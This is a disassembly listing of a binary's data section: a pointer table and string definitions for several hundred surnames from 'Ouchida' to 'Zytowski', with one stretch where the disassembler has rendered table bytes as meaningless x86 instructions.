dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
db 80h
; ---------------------------------------------------------------------------
loc_42EB39: ; CODE XREF: ___:0042EB40j
test dword ptr [edx+0], offset aScudder ; "Scudder"
jo short loc_42EB39
inc edx
add [eax-9], ch
inc edx
add [eax-9], ah
inc edx
add [eax-9], bl
inc edx
add [eax-9], dl
inc edx
add [edi+esi*8+42h], cl
add [edi+esi*8+42h], al
add [eax], bh
test dword ptr [edx+0], offset aSexton ; "Sexton"
sub bh, dh
inc edx
add [eax], ah
test dword ptr [edx+0], offset aShakis ; "Shakis"
or al, 0F7h
inc edx
add [edi+esi*8], al
inc edx
add ah, bh
test byte ptr [edx+0], 0F4h
test byte ptr [edx+0], 0E8h
test byte ptr [edx+0], 0E0h
test byte ptr [edx+0], 0D8h
test byte ptr [edx+0], 0CCh
test byte ptr [edx+0], 0C0h
test byte ptr [edx+0], 0B4h
test byte ptr [edx+0], 0ACh
test byte ptr [edx+0], 0A4h
test byte ptr [edx+0], 9Ch
test byte ptr [edx+0], 94h
test byte ptr [edx+0], 8Ch
test byte ptr [edx+0], 84h
test byte ptr [edx+0], 7Ch
test byte ptr [edx+0], 74h
test byte ptr [edx+0], 68h
test byte ptr [edx+0], 5Ch
test byte ptr [edx+0], 50h
test byte ptr [edx+0], 48h
test byte ptr [edx+0], 40h
test byte ptr [edx+0], 38h
test byte ptr [edx+0], 30h
test byte ptr [edx+0], 28h
test byte ptr [edx+0], 20h
test byte ptr [edx+0], 18h
test byte ptr [edx+0], 10h
test byte ptr [edx+0], 8
test byte ptr [edx+0], 0FCh
cmc
inc edx
add ah, dh
cmc
inc edx
add ah, ch
cmc
inc edx
add ah, ah
cmc
inc edx
add al, bl
cmc
inc edx
add ah, cl
cmc
inc edx
add ah, al
cmc
inc edx
add [ebp+esi*8-0A4BFFBEh], bh
inc edx
add [ebp+esi*8-0A5FFFBEh], ch
inc edx
add [eax-6FFFBD0Bh], bl
cmc
inc edx
add [ebp+esi*8-0A83FFBEh], al
inc edx
add [ebp+esi*8+42h], dh
add [ebp+esi*8+42h], ch
add [ebp+esi*8+42h], ah
add [ebp+esi*8+42h], dl
add [eax-0Bh], cl
inc edx
add [eax-0Bh], al
inc edx
add ds:0F52C0042h[esi*8], dh
inc edx
add ds:0F51C0042h[esi*8], ah
inc edx
add ds:0F5040042h[esi*8], cl
inc edx
add al, bh
; ---------------------------------------------------------------------------
db 0F4h, 42h, 0
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EEF0o
align 10h
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EEECo
align 4
aZurn db 'Zurn',0 ; DATA XREF: ___:0042EEE8o
align 10h
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EEE4o
aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042EEE0o
align 10h
aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042EEDCo
aZegans db 'Zegans',0 ; DATA XREF: ___:0042EED8o
align 10h
aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042EED4o
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042EED0o
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042EECCo
aYu db 'Yu',0 ; DATA XREF: ___:0042EEC8o
align 10h
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EEC4o
align 4
aYoo db 'Yoo',0 ; DATA XREF: ___:0042EEC0o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EEBCo
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EEB8o
align 10h
aYesson db 'Yesson',0 ; DATA XREF: ___:0042EEB4o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EEB0o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EEACo
align 4
aYates db 'Yates',0 ; DATA XREF: ___:0042EEA8o
align 10h
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EEA4o
aYankee db 'Yankee',0 ; DATA XREF: ___:0042EEA0o
align 10h
aYamane db 'Yamane',0 ; DATA XREF: ___:0042EE9Co
align 4
aYacono db 'Yacono',0 ; DATA XREF: ___:0042EE98o
align 10h
aVotey db 'Votey',0 ; DATA XREF: ___:0042EE94o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EE90o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EE8Co
align 10h
aWoods db 'Woods',0 ; DATA XREF: ___:0042EE88o
align 4
aWooden db 'Wooden',0 ; DATA XREF: ___:0042EE84o
align 10h
aWoo db 'Woo',0 ; DATA XREF: ___:0042EE80o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EE7Co
align 10h
aWolk db 'Wolk',0 ; DATA XREF: ___:0042EE78o
align 4
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EE74o
align 10h
aViviani db 'Viviani',0 ; DATA XREF: ___:0042EE70o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042EE6Co
align 10h
aWilson db 'Wilson',0 ; DATA XREF: ___:0042EE68o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EE64o
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EE60o
align 10h
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EE5Co
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EE58o
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042EE54o
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EE50o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042EE4Co
align 4
aVignola db 'Vignola',0 ; DATA XREF: ___:0042EE48o
aViens db 'Viens',0 ; DATA XREF: ___:0042EE44o
align 4
aWiener db 'Wiener',0 ; DATA XREF: ___:0042EE40o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EE3Co
aViano db 'Viano',0 ; DATA XREF: ___:0042EE38o
align 4
aViana db 'Viana',0 ; DATA XREF: ___:0042EE34o
align 10h
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EE30o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EE2Co
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042EE28o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EE24o
aWhately db 'Whately',0 ; DATA XREF: ___:0042EE20o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EE1Co
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042EE18o
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EE14o
align 4
aVenne db 'Venne',0 ; DATA XREF: ___:0042EE10o
align 10h
aWengret db 'Wengret',0 ; DATA XREF: ___:0042EE0Co
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EE08o
align 10h
aWelles db 'Welles',0 ; DATA XREF: ___:0042EE04o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EE00o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EDFCo
align 10h
aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EDF8o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EDF4o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EDF0o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EDECo
align 10h
aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EDE8o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EDE4o
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EDE0o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EDDCo
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EDD8o
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EDD4o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EDD0o
aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EDCCo
align 4
aWalter db 'Walter',0 ; DATA XREF: ___:0042EDC8o
align 10h
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EDC4o
align 4
aWales db 'Wales',0 ; DATA XREF: ___:0042EDC0o
align 4
aValencia db 'Valencia',0 ; DATA XREF: ___:0042EDBCo
align 10h
aValberg db 'Valberg',0 ; DATA XREF: ___:0042EDB8o
aWaite db 'Waite',0 ; DATA XREF: ___:0042EDB4o
align 10h
aVacca db 'Vacca',0 ; DATA XREF: ___:0042EDB0o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EDACo
align 10h
aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EDA8o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EDA4o
align 4
aUrban db 'Urban',0 ; DATA XREF: ___:0042EDA0o
align 10h
aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042ED9Co
aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042ED98o
align 4
aUllman db 'Ullman',0 ; DATA XREF: ___:0042ED94o
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042ED90o
align 4
aTwells db 'Twells',0 ; DATA XREF: ___:0042ED8Co
align 10h
aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042ED88o
align 4
aTurek db 'Turek',0 ; DATA XREF: ___:0042ED84o
align 10h
aTurano db 'Turano',0 ; DATA XREF: ___:0042ED80o
align 4
aTukan db 'Tukan',0 ; DATA XREF: ___:0042ED7Co
align 10h
aTudge db 'Tudge',0 ; DATA XREF: ___:0042ED78o
align 4
aTuck db 'Tuck',0 ; DATA XREF: ___:0042ED74o
align 10h
aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042ED70o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042ED6Co
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042ED68o
aTruss db 'Truss',0 ; DATA XREF: ___:0042ED64o
align 4
aTroy db 'Troy',0 ; DATA XREF: ___:0042ED60o
align 10h
aTroiani db 'Troiani',0 ; DATA XREF: ___:0042ED5Co
aTringali db 'Tringali',0 ; DATA XREF: ___:0042ED58o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042ED54o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042ED50o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0042ED4Co
align 10h
aToye db 'Toye',0 ; DATA XREF: ___:0042ED48o
align 4
aTowler db 'Towler',0 ; DATA XREF: ___:0042ED44o
align 10h
aTorske db 'Torske',0 ; DATA XREF: ___:0042ED40o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042ED3Co
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042ED38o
aToomer db 'Toomer',0 ; DATA XREF: ___:0042ED34o
align 10h
aTomford db 'Tomford',0 ; DATA XREF: ___:0042ED30o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042ED2Co
align 10h
aTolls db 'Tolls',0 ; DATA XREF: ___:0042ED28o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042ED24o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042ED20o
align 10h
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042ED1Co
aTill db 'Till',0 ; DATA XREF: ___:0042ED18o
align 10h
aTierney db 'Tierney',0 ; DATA XREF: ___:0042ED14o
aThroop db 'Throop',0 ; DATA XREF: ___:0042ED10o
align 10h
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042ED0Co
aThisted db 'Thisted',0 ; DATA XREF: ___:0042ED08o
aThibault db 'Thibault',0 ; DATA XREF: ___:0042ED04o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042ED00o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042ECFCo
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042ECF8o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042ECF4o
align 4
aTenney db 'Tenney',0 ; DATA XREF: ___:0042ECF0o
align 10h
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042ECECo
align 4
aTemes db 'Temes',0 ; DATA XREF: ___:0042ECE8o
align 10h
aTeague db 'Teague',0 ; DATA XREF: ___:0042ECE4o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042ECE0o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042ECDCo
align 4
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042ECD8o
aTatar db 'Tatar',0 ; DATA XREF: ___:0042ECD4o
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042ECD0o
align 4
aTandler db 'Tandler',0 ; DATA XREF: ___:0042ECCCo
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042ECC8o
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042ECC4o
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042ECC0o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042ECBCo
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042ECB8o
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042ECB4o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042ECB0o
align 10h
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042ECACo
align 4
aSuo db 'Suo',0 ; DATA XREF: ___:0042ECA8o
aSumner db 'Sumner',0 ; DATA XREF: ___:0042ECA4o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042ECA0o
align 10h
aStringer db 'Stringer',0 ; DATA XREF: ___:0042EC9Co
align 4
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042EC98o
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042EC94o
aStrange db 'Strange',0 ; DATA XREF: ___:0042EC90o
aStott db 'Stott',0 ; DATA XREF: ___:0042EC8Co
align 4
aStorer db 'Storer',0 ; DATA XREF: ___:0042EC88o
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042EC84o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042EC80o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042EC7Co
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042EC78o
align 10h
aStock db 'Stock',0 ; DATA XREF: ___:0042EC74o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042EC70o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042EC6Co
align 10h
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042EC68o
align 10h
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042EC64o
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042EC60o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042EC5Co
aStefani db 'Stefani',0 ; DATA XREF: ___:0042EC58o
aStatlender db 'Statlender',0
align 4
aStates db 'States',0
align 4
aStassinopolus db 'Stassinopolus',0
align 4
aStang db 'Stang',0
align 4
aStam db 'Stam',0
align 4
aStalvey db 'Stalvey',0
aStmartin db 'StMartin',0
align 10h
aSpinrad db 'Spinrad',0
aSpiliotis db 'Spiliotis',0
align 4
aSpiegelhalter db 'Spiegelhalter',0
align 4
aSpicer db 'Spicer',0
align 4
aSperber db 'Sperber',0
aSpence db 'Spence',0
align 4
aSpeizer db 'Speizer',0
aSpaulding db 'Spaulding',0
align 10h
aSparrow db 'Sparrow',0
aSpanier db 'Spanier',0
aSoultanian db 'Soultanian',0
align 4
aSoule db 'Soule',0
align 4
aSoukup db 'Soukup',0
align 4
aSottak db 'Sottak',0
align 4
aSorg db 'Sorg',0
align 4
aSorabella db 'Sorabella',0
align 4
aSommariva db 'Sommariva',0
align 4
aSomers db 'Somers',0
align 4
aSolon db 'Solon',0
align 4
aSocolow db 'Socolow',0
aSnodgrass db 'Snodgrass',0
align 4
aSniffen db 'Sniffen',0
aSmilow db 'Smilow',0
align 4
aSlowe db 'Slowe',0
align 10h
aSloan db 'Sloan',0
align 4
aSkoda db 'Skoda',0
align 10h
aSkerry db 'Skerry',0
align 4
aSkane db 'Skane',0
align 10h
aSites db 'Sites',0
align 4
aSirilli db 'Sirilli',0
aSinsabaugh db 'Sinsabaugh',0
align 4
aSilvetti db 'Silvetti',0
align 4
aSilverman db 'Silverman',0
align 4
aSigna db 'Signa',0
align 4
aSigini db 'Sigini',0
align 4
aSigalot db 'Sigalot',0
aSiesto db 'Siesto',0
align 4
aShimon db 'Shimon',0
align 4
aShibata db 'Shibata',0
aShia db 'Shia',0
align 4
aShesko db 'Shesko',0
align 4
aShepstone db 'Shepstone',0
align 10h
aSheppard db 'Sheppard',0
align 4
aShepherd db 'Shepherd',0
align 4
aSheats db 'Sheats',0
align 10h
aShea db 'Shea',0
align 4
aShavelson db 'Shavelson',0
align 4
aShatrov db 'Shatrov',0
aShar db 'Shar',0
align 4
aShanley db 'Shanley',0
aShankland db 'Shankland',0
align 4
aShakis db 'Shakis',0 ; DATA XREF: ___:0042EB69o
align 10h
aShaikh db 'Shaikh',0
align 4
aSeyfert db 'Seyfert',0
aSexton db 'Sexton',0 ; DATA XREF: ___:0042EB5Do
align 4
aSeterdahl db 'Seterdahl',0
align 4
aSennett db 'Sennett',0
aSen db 'Sen',0
aSelvage db 'Selvage',0
aSekler db 'Sekler',0
align 10h
aSegal db 'Segal',0
align 4
aSeeber db 'Seeber',0
align 10h
aSeaton db 'Seaton',0
align 4
aScudder db 'Scudder',0 ; DATA XREF: ___:loc_42EB39o
aScovel db 'Scovel',0
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042EB34o
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042EB30o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042EB2Co
align 4
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042EB28o
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042EB24o
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042EB20o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042EB1Co
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042EB18o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042EB14o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042EB10o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042EB0Co
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042EB08o
aScharf db 'Scharf',0 ; DATA XREF: ___:0042EB04o
align 10h
aScepan db 'Scepan',0 ; DATA XREF: ___:0042EB00o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042EAFCo
align 4
